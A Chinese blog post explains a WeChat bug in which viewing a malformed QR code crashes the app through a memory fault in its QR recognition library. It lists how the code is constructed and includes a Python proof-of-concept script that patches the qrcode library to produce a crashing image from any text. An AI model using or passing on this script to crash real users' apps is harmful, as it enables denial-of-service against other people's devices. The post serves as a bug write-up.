AI 摘要(由 ChatGPT 总结生成):
文章介绍了一个微信闪退的BUG,原因是由于一个畸形二维码引起的。该二维码在微信中打开即可导致APP闪退,而问题根源是OCR识别系统的内存崩溃。文章提供了触发问题的具体日志,同时分享了构造畸形二维码的要点,包括数据块内不能出现Padding Pattern等。最后,附上了一个Python代码示例,用于生成导致微信闪退的畸形二维码。
前言
今天莫名出现一个“微信闪退”的话题,一看竟然是因为一个二维码引起的,只要在微信里打开这张二维码图片,无需主动点击识别,微信 APP 就会闪退,最后就被系统三方异常分析程序捕获异常。
目前在 Android
端、IOS
端皆测试可使得微信闪退,该 BUG 除了触发闪退外,尚未发现其他安全风险,不涉及个人隐私信息泄露;也不会导致资金丢失或封号等问题。
原因
而引发此次问题的原因是 OCR 识别系统出现了内存崩溃导致的,畸形二维码内的错误数据块导致 libwechatQrMod.so
崩溃,进而导致软件闪退,其日志如下:
构造畸形二维码
造成微信闪退的主要原因是畸形二维码所致,那么构造该畸形二维码样本时需要注意的要点:
- 数据块内不可以出现
Padding Pattern
- 最后一个
block
的内容为空,但是Character Count Indicator
不为 0
附上复现用的代码,可根据任意文本内容构造畸形二维码(代码来源于网络):
import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE
NUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]
def tencent_crash_qrcode(message: str, filename='crash.png'): # 图片名称
def hack_put(self, num, length):
if num == 0:
num = 1
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
data = message.encode('utf-8')
data_len = len(data)
version = 1
while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:
version += 1
if version > len(NUM_BLOCKS):
raise Exception('message too long')
data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)
print(data_len, version)
qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)
comm_data = QRData(data, MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
qr.add_data(comm_data, 0)
qr.add_data(hack_data, 0)
original_put = qrcode.util.BitBuffer.put
qrcode.util.BitBuffer.put = hack_put
qr.make_image().save(filename)
qrcode.util.BitBuffer.put = original_put
tencent_crash_qrcode('KFC-VMe50') # 二维码内容
最后由上述代码生成一张二维码附上: